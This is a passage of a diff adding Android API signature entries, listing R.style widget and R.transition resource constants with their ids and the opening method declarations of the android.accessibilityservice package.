+    field public static final int Widget_DeviceDefault_Light_CompoundButton_CheckBox = 16974204; // 0x103017c
+    field public static final int Widget_DeviceDefault_Light_CompoundButton_RadioButton = 16974224; // 0x1030190
+    field public static final int Widget_DeviceDefault_Light_CompoundButton_Star = 16974228; // 0x1030194
+    field public static final int Widget_DeviceDefault_Light_DropDownItem = 16974232; // 0x1030198
+    field public static final int Widget_DeviceDefault_Light_DropDownItem_Spinner = 16974233; // 0x1030199
+    field public static final int Widget_DeviceDefault_Light_EditText = 16974206; // 0x103017e
+    field public static final int Widget_DeviceDefault_Light_ExpandableListView = 16974207; // 0x103017f
+    field public static final int Widget_DeviceDefault_Light_FastScroll = 16974315; // 0x10301eb
+    field public static final int Widget_DeviceDefault_Light_GridView = 16974208; // 0x1030180
+    field public static final int Widget_DeviceDefault_Light_HorizontalScrollView = 16974226; // 0x1030192
+    field public static final int Widget_DeviceDefault_Light_ImageButton = 16974209; // 0x1030181
+    field public static final int Widget_DeviceDefault_Light_ListPopupWindow = 16974235; // 0x103019b
+    field public static final int Widget_DeviceDefault_Light_ListView = 16974210; // 0x1030182
+    field public static final int Widget_DeviceDefault_Light_ListView_DropDown = 16974205; // 0x103017d
+    field public static final int Widget_DeviceDefault_Light_MediaRouteButton = 16974296; // 0x10301d8
+    field public static final int Widget_DeviceDefault_Light_PopupMenu = 16974236; // 0x103019c
+    field public static final int Widget_DeviceDefault_Light_PopupWindow = 16974211; // 0x1030183
+    field public static final int Widget_DeviceDefault_Light_ProgressBar = 16974212; // 0x1030184
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Horizontal = 16974213; // 0x1030185
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Inverse = 16974217; // 0x1030189
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Large = 16974216; // 0x1030188
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Large_Inverse = 16974219; // 0x103018b
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Small = 16974214; // 0x1030186
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Small_Inverse = 16974218; // 0x103018a
+    field public static final int Widget_DeviceDefault_Light_ProgressBar_Small_Title = 16974215; // 0x1030187
+    field public static final int Widget_DeviceDefault_Light_RatingBar = 16974221; // 0x103018d
+    field public static final int Widget_DeviceDefault_Light_RatingBar_Indicator = 16974222; // 0x103018e
+    field public static final int Widget_DeviceDefault_Light_RatingBar_Small = 16974223; // 0x103018f
+    field public static final int Widget_DeviceDefault_Light_ScrollView = 16974225; // 0x1030191
+    field public static final int Widget_DeviceDefault_Light_SeekBar = 16974220; // 0x103018c
+    field public static final int Widget_DeviceDefault_Light_Spinner = 16974227; // 0x1030193
+    field public static final int Widget_DeviceDefault_Light_StackView = 16974316; // 0x10301ec
+    field public static final int Widget_DeviceDefault_Light_Tab = 16974237; // 0x103019d
+    field public static final int Widget_DeviceDefault_Light_TabWidget = 16974229; // 0x1030195
+    field public static final int Widget_DeviceDefault_Light_TextView = 16974202; // 0x103017a
+    field public static final int Widget_DeviceDefault_Light_TextView_SpinnerItem = 16974234; // 0x103019a
+    field public static final int Widget_DeviceDefault_Light_WebTextView = 16974230; // 0x1030196
+    field public static final int Widget_DeviceDefault_Light_WebView = 16974231; // 0x1030197
+    field public static final int Widget_DeviceDefault_ListPopupWindow = 16974180; // 0x1030164
+    field public static final int Widget_DeviceDefault_ListView = 16974158; // 0x103014e
+    field public static final int Widget_DeviceDefault_ListView_DropDown = 16974153; // 0x1030149
+    field public static final int Widget_DeviceDefault_MediaRouteButton = 16974295; // 0x10301d7
+    field public static final int Widget_DeviceDefault_PopupMenu = 16974181; // 0x1030165
+    field public static final int Widget_DeviceDefault_PopupWindow = 16974159; // 0x103014f
+    field public static final int Widget_DeviceDefault_ProgressBar = 16974160; // 0x1030150
+    field public static final int Widget_DeviceDefault_ProgressBar_Horizontal = 16974161; // 0x1030151
+    field public static final int Widget_DeviceDefault_ProgressBar_Large = 16974164; // 0x1030154
+    field public static final int Widget_DeviceDefault_ProgressBar_Small = 16974162; // 0x1030152
+    field public static final int Widget_DeviceDefault_ProgressBar_Small_Title = 16974163; // 0x1030153
+    field public static final int Widget_DeviceDefault_RatingBar = 16974166; // 0x1030156
+    field public static final int Widget_DeviceDefault_RatingBar_Indicator = 16974167; // 0x1030157
+    field public static final int Widget_DeviceDefault_RatingBar_Small = 16974168; // 0x1030158
+    field public static final int Widget_DeviceDefault_ScrollView = 16974170; // 0x103015a
+    field public static final int Widget_DeviceDefault_SeekBar = 16974165; // 0x1030155
+    field public static final int Widget_DeviceDefault_Spinner = 16974172; // 0x103015c
+    field public static final int Widget_DeviceDefault_StackView = 16974314; // 0x10301ea
+    field public static final int Widget_DeviceDefault_Tab = 16974189; // 0x103016d
+    field public static final int Widget_DeviceDefault_TabWidget = 16974174; // 0x103015e
+    field public static final int Widget_DeviceDefault_TextView = 16974150; // 0x1030146
+    field public static final int Widget_DeviceDefault_TextView_SpinnerItem = 16974179; // 0x1030163
+    field public static final int Widget_DeviceDefault_WebTextView = 16974175; // 0x103015f
+    field public static final int Widget_DeviceDefault_WebView = 16974176; // 0x1030160
+    field public static final int Widget_DropDownItem = 16973867; // 0x103002b
+    field public static final int Widget_DropDownItem_Spinner = 16973868; // 0x103002c
+    field public static final int Widget_EditText = 16973859; // 0x1030023
+    field public static final int Widget_ExpandableListView = 16973860; // 0x1030024
+    field public static final int Widget_FastScroll = 16974309; // 0x10301e5
+    field public static final int Widget_FragmentBreadCrumbs = 16973961; // 0x1030089
+    field public static final int Widget_Gallery = 16973877; // 0x1030035
+    field public static final int Widget_GridView = 16973874; // 0x1030032
+    field public static final int Widget_Holo = 16973962; // 0x103008a
+    field public static final int Widget_Holo_ActionBar = 16974004; // 0x10300b4
+    field public static final int Widget_Holo_ActionBar_Solid = 16974113; // 0x1030121
+    field public static final int Widget_Holo_ActionBar_TabBar = 16974071; // 0x10300f7
+    field public static final int Widget_Holo_ActionBar_TabText = 16974070; // 0x10300f6
+    field public static final int Widget_Holo_ActionBar_TabView = 16974069; // 0x10300f5
+    field public static final int Widget_Holo_ActionButton = 16973999; // 0x10300af
+    field public static final int Widget_Holo_ActionButton_CloseMode = 16974003; // 0x10300b3
+    field public static final int Widget_Holo_ActionButton_Overflow = 16974000; // 0x10300b0
+    field public static final int Widget_Holo_ActionButton_TextButton = 16974001; // 0x10300b1
+    field public static final int Widget_Holo_ActionMode = 16974002; // 0x10300b2
+    field public static final int Widget_Holo_AutoCompleteTextView = 16973968; // 0x1030090
+    field public static final int Widget_Holo_Button = 16973963; // 0x103008b
+    field public static final int Widget_Holo_Button_Borderless = 16974050; // 0x10300e2
+    field public static final int Widget_Holo_Button_Borderless_Small = 16974106; // 0x103011a
+    field public static final int Widget_Holo_Button_Inset = 16973965; // 0x103008d
+    field public static final int Widget_Holo_Button_Small = 16973964; // 0x103008c
+    field public static final int Widget_Holo_Button_Toggle = 16973966; // 0x103008e
+    field public static final int Widget_Holo_CalendarView = 16974060; // 0x10300ec
+    field public static final int Widget_Holo_CheckedTextView = 16974297; // 0x10301d9
+    field public static final int Widget_Holo_CompoundButton_CheckBox = 16973969; // 0x1030091
+    field public static final int Widget_Holo_CompoundButton_RadioButton = 16973986; // 0x10300a2
+    field public static final int Widget_Holo_CompoundButton_Star = 16973990; // 0x10300a6
+    field public static final int Widget_Holo_DatePicker = 16974063; // 0x10300ef
+    field public static final int Widget_Holo_DropDownItem = 16973994; // 0x10300aa
+    field public static final int Widget_Holo_DropDownItem_Spinner = 16973995; // 0x10300ab
+    field public static final int Widget_Holo_EditText = 16973971; // 0x1030093
+    field public static final int Widget_Holo_ExpandableListView = 16973972; // 0x1030094
+    field public static final int Widget_Holo_GridView = 16973973; // 0x1030095
+    field public static final int Widget_Holo_HorizontalScrollView = 16973988; // 0x10300a4
+    field public static final int Widget_Holo_ImageButton = 16973974; // 0x1030096
+    field public static final int Widget_Holo_Light = 16974005; // 0x10300b5
+    field public static final int Widget_Holo_Light_ActionBar = 16974049; // 0x10300e1
+    field public static final int Widget_Holo_Light_ActionBar_Solid = 16974114; // 0x1030122
+    field public static final int Widget_Holo_Light_ActionBar_Solid_Inverse = 16974115; // 0x1030123
+    field public static final int Widget_Holo_Light_ActionBar_TabBar = 16974074; // 0x10300fa
+    field public static final int Widget_Holo_Light_ActionBar_TabBar_Inverse = 16974116; // 0x1030124
+    field public static final int Widget_Holo_Light_ActionBar_TabText = 16974073; // 0x10300f9
+    field public static final int Widget_Holo_Light_ActionBar_TabText_Inverse = 16974118; // 0x1030126
+    field public static final int Widget_Holo_Light_ActionBar_TabView = 16974072; // 0x10300f8
+    field public static final int Widget_Holo_Light_ActionBar_TabView_Inverse = 16974117; // 0x1030125
+    field public static final int Widget_Holo_Light_ActionButton = 16974045; // 0x10300dd
+    field public static final int Widget_Holo_Light_ActionButton_CloseMode = 16974048; // 0x10300e0
+    field public static final int Widget_Holo_Light_ActionButton_Overflow = 16974046; // 0x10300de
+    field public static final int Widget_Holo_Light_ActionMode = 16974047; // 0x10300df
+    field public static final int Widget_Holo_Light_ActionMode_Inverse = 16974119; // 0x1030127
+    field public static final int Widget_Holo_Light_AutoCompleteTextView = 16974011; // 0x10300bb
+    field public static final int Widget_Holo_Light_Button = 16974006; // 0x10300b6
+    field public static final int Widget_Holo_Light_Button_Borderless_Small = 16974107; // 0x103011b
+    field public static final int Widget_Holo_Light_Button_Inset = 16974008; // 0x10300b8
+    field public static final int Widget_Holo_Light_Button_Small = 16974007; // 0x10300b7
+    field public static final int Widget_Holo_Light_Button_Toggle = 16974009; // 0x10300b9
+    field public static final int Widget_Holo_Light_CalendarView = 16974061; // 0x10300ed
+    field public static final int Widget_Holo_Light_CheckedTextView = 16974298; // 0x10301da
+    field public static final int Widget_Holo_Light_CompoundButton_CheckBox = 16974012; // 0x10300bc
+    field public static final int Widget_Holo_Light_CompoundButton_RadioButton = 16974032; // 0x10300d0
+    field public static final int Widget_Holo_Light_CompoundButton_Star = 16974036; // 0x10300d4
+    field public static final int Widget_Holo_Light_DropDownItem = 16974040; // 0x10300d8
+    field public static final int Widget_Holo_Light_DropDownItem_Spinner = 16974041; // 0x10300d9
+    field public static final int Widget_Holo_Light_EditText = 16974014; // 0x10300be
+    field public static final int Widget_Holo_Light_ExpandableListView = 16974015; // 0x10300bf
+    field public static final int Widget_Holo_Light_GridView = 16974016; // 0x10300c0
+    field public static final int Widget_Holo_Light_HorizontalScrollView = 16974034; // 0x10300d2
+    field public static final int Widget_Holo_Light_ImageButton = 16974017; // 0x10300c1
+    field public static final int Widget_Holo_Light_ListPopupWindow = 16974043; // 0x10300db
+    field public static final int Widget_Holo_Light_ListView = 16974018; // 0x10300c2
+    field public static final int Widget_Holo_Light_ListView_DropDown = 16974013; // 0x10300bd
+    field public static final int Widget_Holo_Light_MediaRouteButton = 16974294; // 0x10301d6
+    field public static final int Widget_Holo_Light_PopupMenu = 16974044; // 0x10300dc
+    field public static final int Widget_Holo_Light_PopupWindow = 16974019; // 0x10300c3
+    field public static final int Widget_Holo_Light_ProgressBar = 16974020; // 0x10300c4
+    field public static final int Widget_Holo_Light_ProgressBar_Horizontal = 16974021; // 0x10300c5
+    field public static final int Widget_Holo_Light_ProgressBar_Inverse = 16974025; // 0x10300c9
+    field public static final int Widget_Holo_Light_ProgressBar_Large = 16974024; // 0x10300c8
+    field public static final int Widget_Holo_Light_ProgressBar_Large_Inverse = 16974027; // 0x10300cb
+    field public static final int Widget_Holo_Light_ProgressBar_Small = 16974022; // 0x10300c6
+    field public static final int Widget_Holo_Light_ProgressBar_Small_Inverse = 16974026; // 0x10300ca
+    field public static final int Widget_Holo_Light_ProgressBar_Small_Title = 16974023; // 0x10300c7
+    field public static final int Widget_Holo_Light_RatingBar = 16974029; // 0x10300cd
+    field public static final int Widget_Holo_Light_RatingBar_Indicator = 16974030; // 0x10300ce
+    field public static final int Widget_Holo_Light_RatingBar_Small = 16974031; // 0x10300cf
+    field public static final int Widget_Holo_Light_ScrollView = 16974033; // 0x10300d1
+    field public static final int Widget_Holo_Light_SeekBar = 16974028; // 0x10300cc
+    field public static final int Widget_Holo_Light_Spinner = 16974035; // 0x10300d3
+    field public static final int Widget_Holo_Light_Tab = 16974052; // 0x10300e4
+    field public static final int Widget_Holo_Light_TabWidget = 16974037; // 0x10300d5
+    field public static final int Widget_Holo_Light_TextView = 16974010; // 0x10300ba
+    field public static final int Widget_Holo_Light_TextView_SpinnerItem = 16974042; // 0x10300da
+    field public static final int Widget_Holo_Light_WebTextView = 16974038; // 0x10300d6
+    field public static final int Widget_Holo_Light_WebView = 16974039; // 0x10300d7
+    field public static final int Widget_Holo_ListPopupWindow = 16973997; // 0x10300ad
+    field public static final int Widget_Holo_ListView = 16973975; // 0x1030097
+    field public static final int Widget_Holo_ListView_DropDown = 16973970; // 0x1030092
+    field public static final int Widget_Holo_MediaRouteButton = 16974293; // 0x10301d5
+    field public static final int Widget_Holo_PopupMenu = 16973998; // 0x10300ae
+    field public static final int Widget_Holo_PopupWindow = 16973976; // 0x1030098
+    field public static final int Widget_Holo_ProgressBar = 16973977; // 0x1030099
+    field public static final int Widget_Holo_ProgressBar_Horizontal = 16973978; // 0x103009a
+    field public static final int Widget_Holo_ProgressBar_Large = 16973981; // 0x103009d
+    field public static final int Widget_Holo_ProgressBar_Small = 16973979; // 0x103009b
+    field public static final int Widget_Holo_ProgressBar_Small_Title = 16973980; // 0x103009c
+    field public static final int Widget_Holo_RatingBar = 16973983; // 0x103009f
+    field public static final int Widget_Holo_RatingBar_Indicator = 16973984; // 0x10300a0
+    field public static final int Widget_Holo_RatingBar_Small = 16973985; // 0x10300a1
+    field public static final int Widget_Holo_ScrollView = 16973987; // 0x10300a3
+    field public static final int Widget_Holo_SeekBar = 16973982; // 0x103009e
+    field public static final int Widget_Holo_Spinner = 16973989; // 0x10300a5
+    field public static final int Widget_Holo_Tab = 16974051; // 0x10300e3
+    field public static final int Widget_Holo_TabWidget = 16973991; // 0x10300a7
+    field public static final int Widget_Holo_TextView = 16973967; // 0x103008f
+    field public static final int Widget_Holo_TextView_SpinnerItem = 16973996; // 0x10300ac
+    field public static final int Widget_Holo_WebTextView = 16973992; // 0x10300a8
+    field public static final int Widget_Holo_WebView = 16973993; // 0x10300a9
+    field public static final int Widget_ImageButton = 16973862; // 0x1030026
+    field public static final int Widget_ImageWell = 16973861; // 0x1030025
+    field @Deprecated public static final int Widget_KeyboardView = 16973911; // 0x1030057
+    field public static final int Widget_ListPopupWindow = 16973957; // 0x1030085
+    field public static final int Widget_ListView = 16973870; // 0x103002e
+    field public static final int Widget_ListView_DropDown = 16973872; // 0x1030030
+    field public static final int Widget_ListView_Menu = 16973873; // 0x1030031
+    field public static final int Widget_ListView_White = 16973871; // 0x103002f
+    field public static final int Widget_Material = 16974413; // 0x103024d
+    field public static final int Widget_Material_ActionBar = 16974414; // 0x103024e
+    field public static final int Widget_Material_ActionBar_Solid = 16974415; // 0x103024f
+    field public static final int Widget_Material_ActionBar_TabBar = 16974416; // 0x1030250
+    field public static final int Widget_Material_ActionBar_TabText = 16974417; // 0x1030251
+    field public static final int Widget_Material_ActionBar_TabView = 16974418; // 0x1030252
+    field public static final int Widget_Material_ActionButton = 16974419; // 0x1030253
+    field public static final int Widget_Material_ActionButton_CloseMode = 16974420; // 0x1030254
+    field public static final int Widget_Material_ActionButton_Overflow = 16974421; // 0x1030255
+    field public static final int Widget_Material_ActionMode = 16974422; // 0x1030256
+    field public static final int Widget_Material_AutoCompleteTextView = 16974423; // 0x1030257
+    field public static final int Widget_Material_Button = 16974424; // 0x1030258
+    field public static final int Widget_Material_ButtonBar = 16974431; // 0x103025f
+    field public static final int Widget_Material_ButtonBar_AlertDialog = 16974432; // 0x1030260
+    field public static final int Widget_Material_Button_Borderless = 16974425; // 0x1030259
+    field public static final int Widget_Material_Button_Borderless_Colored = 16974426; // 0x103025a
+    field public static final int Widget_Material_Button_Borderless_Small = 16974427; // 0x103025b
+    field public static final int Widget_Material_Button_Colored = 16974547; // 0x10302d3
+    field public static final int Widget_Material_Button_Inset = 16974428; // 0x103025c
+    field public static final int Widget_Material_Button_Small = 16974429; // 0x103025d
+    field public static final int Widget_Material_Button_Toggle = 16974430; // 0x103025e
+    field public static final int Widget_Material_CalendarView = 16974433; // 0x1030261
+    field public static final int Widget_Material_CheckedTextView = 16974434; // 0x1030262
+    field public static final int Widget_Material_CompoundButton_CheckBox = 16974435; // 0x1030263
+    field public static final int Widget_Material_CompoundButton_RadioButton = 16974436; // 0x1030264
+    field public static final int Widget_Material_CompoundButton_Star = 16974437; // 0x1030265
+    field public static final int Widget_Material_CompoundButton_Switch = 16974554; // 0x10302da
+    field public static final int Widget_Material_DatePicker = 16974438; // 0x1030266
+    field public static final int Widget_Material_DropDownItem = 16974439; // 0x1030267
+    field public static final int Widget_Material_DropDownItem_Spinner = 16974440; // 0x1030268
+    field public static final int Widget_Material_EditText = 16974441; // 0x1030269
+    field public static final int Widget_Material_ExpandableListView = 16974442; // 0x103026a
+    field public static final int Widget_Material_FastScroll = 16974443; // 0x103026b
+    field public static final int Widget_Material_GridView = 16974444; // 0x103026c
+    field public static final int Widget_Material_HorizontalScrollView = 16974445; // 0x103026d
+    field public static final int Widget_Material_ImageButton = 16974446; // 0x103026e
+    field public static final int Widget_Material_Light = 16974478; // 0x103028e
+    field public static final int Widget_Material_Light_ActionBar = 16974479; // 0x103028f
+    field public static final int Widget_Material_Light_ActionBar_Solid = 16974480; // 0x1030290
+    field public static final int Widget_Material_Light_ActionBar_TabBar = 16974481; // 0x1030291
+    field public static final int Widget_Material_Light_ActionBar_TabText = 16974482; // 0x1030292
+    field public static final int Widget_Material_Light_ActionBar_TabView = 16974483; // 0x1030293
+    field public static final int Widget_Material_Light_ActionButton = 16974484; // 0x1030294
+    field public static final int Widget_Material_Light_ActionButton_CloseMode = 16974485; // 0x1030295
+    field public static final int Widget_Material_Light_ActionButton_Overflow = 16974486; // 0x1030296
+    field public static final int Widget_Material_Light_ActionMode = 16974487; // 0x1030297
+    field public static final int Widget_Material_Light_AutoCompleteTextView = 16974488; // 0x1030298
+    field public static final int Widget_Material_Light_Button = 16974489; // 0x1030299
+    field public static final int Widget_Material_Light_ButtonBar = 16974496; // 0x10302a0
+    field public static final int Widget_Material_Light_ButtonBar_AlertDialog = 16974497; // 0x10302a1
+    field public static final int Widget_Material_Light_Button_Borderless = 16974490; // 0x103029a
+    field public static final int Widget_Material_Light_Button_Borderless_Colored = 16974491; // 0x103029b
+    field public static final int Widget_Material_Light_Button_Borderless_Small = 16974492; // 0x103029c
+    field public static final int Widget_Material_Light_Button_Inset = 16974493; // 0x103029d
+    field public static final int Widget_Material_Light_Button_Small = 16974494; // 0x103029e
+    field public static final int Widget_Material_Light_Button_Toggle = 16974495; // 0x103029f
+    field public static final int Widget_Material_Light_CalendarView = 16974498; // 0x10302a2
+    field public static final int Widget_Material_Light_CheckedTextView = 16974499; // 0x10302a3
+    field public static final int Widget_Material_Light_CompoundButton_CheckBox = 16974500; // 0x10302a4
+    field public static final int Widget_Material_Light_CompoundButton_RadioButton = 16974501; // 0x10302a5
+    field public static final int Widget_Material_Light_CompoundButton_Star = 16974502; // 0x10302a6
+    field public static final int Widget_Material_Light_CompoundButton_Switch = 16974555; // 0x10302db
+    field public static final int Widget_Material_Light_DatePicker = 16974503; // 0x10302a7
+    field public static final int Widget_Material_Light_DropDownItem = 16974504; // 0x10302a8
+    field public static final int Widget_Material_Light_DropDownItem_Spinner = 16974505; // 0x10302a9
+    field public static final int Widget_Material_Light_EditText = 16974506; // 0x10302aa
+    field public static final int Widget_Material_Light_ExpandableListView = 16974507; // 0x10302ab
+    field public static final int Widget_Material_Light_FastScroll = 16974508; // 0x10302ac
+    field public static final int Widget_Material_Light_GridView = 16974509; // 0x10302ad
+    field public static final int Widget_Material_Light_HorizontalScrollView = 16974510; // 0x10302ae
+    field public static final int Widget_Material_Light_ImageButton = 16974511; // 0x10302af
+    field public static final int Widget_Material_Light_ListPopupWindow = 16974512; // 0x10302b0
+    field public static final int Widget_Material_Light_ListView = 16974513; // 0x10302b1
+    field public static final int Widget_Material_Light_ListView_DropDown = 16974514; // 0x10302b2
+    field public static final int Widget_Material_Light_MediaRouteButton = 16974515; // 0x10302b3
+    field public static final int Widget_Material_Light_NumberPicker = 16974557; // 0x10302dd
+    field public static final int Widget_Material_Light_PopupMenu = 16974516; // 0x10302b4
+    field public static final int Widget_Material_Light_PopupMenu_Overflow = 16974517; // 0x10302b5
+    field public static final int Widget_Material_Light_PopupWindow = 16974518; // 0x10302b6
+    field public static final int Widget_Material_Light_ProgressBar = 16974519; // 0x10302b7
+    field public static final int Widget_Material_Light_ProgressBar_Horizontal = 16974520; // 0x10302b8
+    field public static final int Widget_Material_Light_ProgressBar_Inverse = 16974521; // 0x10302b9
+    field public static final int Widget_Material_Light_ProgressBar_Large = 16974522; // 0x10302ba
+    field public static final int Widget_Material_Light_ProgressBar_Large_Inverse = 16974523; // 0x10302bb
+    field public static final int Widget_Material_Light_ProgressBar_Small = 16974524; // 0x10302bc
+    field public static final int Widget_Material_Light_ProgressBar_Small_Inverse = 16974525; // 0x10302bd
+    field public static final int Widget_Material_Light_ProgressBar_Small_Title = 16974526; // 0x10302be
+    field public static final int Widget_Material_Light_RatingBar = 16974527; // 0x10302bf
+    field public static final int Widget_Material_Light_RatingBar_Indicator = 16974528; // 0x10302c0
+    field public static final int Widget_Material_Light_RatingBar_Small = 16974529; // 0x10302c1
+    field public static final int Widget_Material_Light_ScrollView = 16974530; // 0x10302c2
+    field public static final int Widget_Material_Light_SearchView = 16974531; // 0x10302c3
+    field public static final int Widget_Material_Light_SeekBar = 16974532; // 0x10302c4
+    field public static final int Widget_Material_Light_SegmentedButton = 16974533; // 0x10302c5
+    field public static final int Widget_Material_Light_Spinner = 16974535; // 0x10302c7
+    field public static final int Widget_Material_Light_Spinner_Underlined = 16974536; // 0x10302c8
+    field public static final int Widget_Material_Light_StackView = 16974534; // 0x10302c6
+    field public static final int Widget_Material_Light_Tab = 16974537; // 0x10302c9
+    field public static final int Widget_Material_Light_TabWidget = 16974538; // 0x10302ca
+    field public static final int Widget_Material_Light_TextView = 16974539; // 0x10302cb
+    field public static final int Widget_Material_Light_TextView_SpinnerItem = 16974540; // 0x10302cc
+    field public static final int Widget_Material_Light_TimePicker = 16974541; // 0x10302cd
+    field public static final int Widget_Material_Light_WebTextView = 16974542; // 0x10302ce
+    field public static final int Widget_Material_Light_WebView = 16974543; // 0x10302cf
+    field public static final int Widget_Material_ListPopupWindow = 16974447; // 0x103026f
+    field public static final int Widget_Material_ListView = 16974448; // 0x1030270
+    field public static final int Widget_Material_ListView_DropDown = 16974449; // 0x1030271
+    field public static final int Widget_Material_MediaRouteButton = 16974450; // 0x1030272
+    field public static final int Widget_Material_NumberPicker = 16974556; // 0x10302dc
+    field public static final int Widget_Material_PopupMenu = 16974451; // 0x1030273
+    field public static final int Widget_Material_PopupMenu_Overflow = 16974452; // 0x1030274
+    field public static final int Widget_Material_PopupWindow = 16974453; // 0x1030275
+    field public static final int Widget_Material_ProgressBar = 16974454; // 0x1030276
+    field public static final int Widget_Material_ProgressBar_Horizontal = 16974455; // 0x1030277
+    field public static final int Widget_Material_ProgressBar_Large = 16974456; // 0x1030278
+    field public static final int Widget_Material_ProgressBar_Small = 16974457; // 0x1030279
+    field public static final int Widget_Material_ProgressBar_Small_Title = 16974458; // 0x103027a
+    field public static final int Widget_Material_RatingBar = 16974459; // 0x103027b
+    field public static final int Widget_Material_RatingBar_Indicator = 16974460; // 0x103027c
+    field public static final int Widget_Material_RatingBar_Small = 16974461; // 0x103027d
+    field public static final int Widget_Material_ScrollView = 16974462; // 0x103027e
+    field public static final int Widget_Material_SearchView = 16974463; // 0x103027f
+    field public static final int Widget_Material_SeekBar = 16974464; // 0x1030280
+    field public static final int Widget_Material_SeekBar_Discrete = 16974553; // 0x10302d9
+    field public static final int Widget_Material_SegmentedButton = 16974465; // 0x1030281
+    field public static final int Widget_Material_Spinner = 16974467; // 0x1030283
+    field public static final int Widget_Material_Spinner_Underlined = 16974468; // 0x1030284
+    field public static final int Widget_Material_StackView = 16974466; // 0x1030282
+    field public static final int Widget_Material_Tab = 16974469; // 0x1030285
+    field public static final int Widget_Material_TabWidget = 16974470; // 0x1030286
+    field public static final int Widget_Material_TextView = 16974471; // 0x1030287
+    field public static final int Widget_Material_TextView_SpinnerItem = 16974472; // 0x1030288
+    field public static final int Widget_Material_TimePicker = 16974473; // 0x1030289
+    field public static final int Widget_Material_Toolbar = 16974474; // 0x103028a
+    field public static final int Widget_Material_Toolbar_Button_Navigation = 16974475; // 0x103028b
+    field public static final int Widget_Material_WebTextView = 16974476; // 0x103028c
+    field public static final int Widget_Material_WebView = 16974477; // 0x103028d
+    field public static final int Widget_PopupMenu = 16973958; // 0x1030086
+    field public static final int Widget_PopupWindow = 16973878; // 0x1030036
+    field public static final int Widget_ProgressBar = 16973852; // 0x103001c
+    field public static final int Widget_ProgressBar_Horizontal = 16973855; // 0x103001f
+    field public static final int Widget_ProgressBar_Inverse = 16973915; // 0x103005b
+    field public static final int Widget_ProgressBar_Large = 16973853; // 0x103001d
+    field public static final int Widget_ProgressBar_Large_Inverse = 16973916; // 0x103005c
+    field public static final int Widget_ProgressBar_Small = 16973854; // 0x103001e
+    field public static final int Widget_ProgressBar_Small_Inverse = 16973917; // 0x103005d
+    field public static final int Widget_RatingBar = 16973857; // 0x1030021
+    field public static final int Widget_ScrollView = 16973869; // 0x103002d
+    field public static final int Widget_SeekBar = 16973856; // 0x1030020
+    field public static final int Widget_Spinner = 16973864; // 0x1030028
+    field public static final int Widget_Spinner_DropDown = 16973955; // 0x1030083
+    field public static final int Widget_StackView = 16974310; // 0x10301e6
+    field public static final int Widget_TabWidget = 16973876; // 0x1030034
+    field public static final int Widget_TextView = 16973858; // 0x1030022
+    field public static final int Widget_TextView_PopupMenu = 16973865; // 0x1030029
+    field public static final int Widget_TextView_SpinnerItem = 16973866; // 0x103002a
+    field public static final int Widget_Toolbar = 16974311; // 0x10301e7
+    field public static final int Widget_Toolbar_Button_Navigation = 16974312; // 0x10301e8
+    field public static final int Widget_WebView = 16973875; // 0x1030033
+  }
+
+  public static final class R.transition {
+    ctor public R.transition();
+    field public static final int explode = 17760259; // 0x10f0003
+    field public static final int fade = 17760258; // 0x10f0002
+    field public static final int move = 17760257; // 0x10f0001
+    field public static final int no_transition = 17760256; // 0x10f0000
+    field public static final int slide_bottom = 17760260; // 0x10f0004
+    field public static final int slide_left = 17760263; // 0x10f0007
+    field public static final int slide_right = 17760262; // 0x10f0006
+    field public static final int slide_top = 17760261; // 0x10f0005
+  }
+
+  public static final class R.xml {
+    ctor public R.xml();
+  }
+
+}
+
+package android.accessibilityservice {
+
+  public final class AccessibilityButtonController {
+    method public boolean isAccessibilityButtonAvailable();
+    method public void registerAccessibilityButtonCallback(@NonNull android.accessibilityservice.AccessibilityButtonController.AccessibilityButtonCallback);
+    method public void registerAccessibilityButtonCallback(@NonNull android.accessibilityservice.AccessibilityButtonController.AccessibilityButtonCallback, @NonNull android.os.Handler);
+    method public void unregisterAccessibilityButtonCallback(@NonNull android.accessibilityservice.AccessibilityButtonController.AccessibilityButtonCallback);
+  }
+
+  public abstract static class AccessibilityButtonController.AccessibilityButtonCallback {
+    ctor public AccessibilityButtonController.AccessibilityButtonCallback();
+    method public void onAvailabilityChanged(android.accessibilityservice.AccessibilityButtonController, boolean);
+    method public void onClicked(android.accessibilityservice.AccessibilityButtonController);
+  }
+
+  public final class AccessibilityGestureEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public static String gestureIdToString(int);
+    method public int getDisplayId();
+    method public int getGestureId();
+    method @NonNull public java.util.List<android.view.MotionEvent> getMotionEvents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.accessibilityservice.AccessibilityGestureEvent> CREATOR;
+  }
+
+  public abstract class AccessibilityService extends android.app.Service {
+    ctor public AccessibilityService();
+    method public final void disableSelf();
+    method public final boolean dispatchGesture(@NonNull android.accessibilityservice.GestureDescription, @Nullable android.accessibilityservice.AccessibilityService.GestureResultCallback, @Nullable android.os.Handler);
+    method public android.view.accessibility.AccessibilityNodeInfo findFocus(int);
+    method @NonNull public final android.accessibilityservice.AccessibilityButtonController getAccessibilityButtonController();
+    method @NonNull public final android.accessibilityservice.AccessibilityButtonController getAccessibilityButtonController(int);
+    method @NonNull @RequiresPermission(android.Manifest.permission.USE_FINGERPRINT) public final android.accessibilityservice.FingerprintGestureController getFingerprintGestureController();
+    method @NonNull public final android.accessibilityservice.AccessibilityService.MagnificationController getMagnificationController();
+    method public android.view.accessibility.AccessibilityNodeInfo getRootInActiveWindow();
+    method public final android.accessibilityservice.AccessibilityServiceInfo getServiceInfo();
+    method @NonNull public final android.accessibilityservice.AccessibilityService.SoftKeyboardController getSoftKeyboardController();
+    method @NonNull public final java.util.List<android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction> getSystemActions();
+    method public java.util.List<android.view.accessibility.AccessibilityWindowInfo> getWindows();
+    method @NonNull public final android.util.SparseArray<java.util.List<android.view.accessibility.AccessibilityWindowInfo>> getWindowsOnAllDisplays();
+    method public abstract void onAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method @Deprecated protected boolean onGesture(int);
+    method public boolean onGesture(@NonNull android.accessibilityservice.AccessibilityGestureEvent);
+    method public abstract void onInterrupt();
+    method protected boolean onKeyEvent(android.view.KeyEvent);
+    method protected void onServiceConnected();
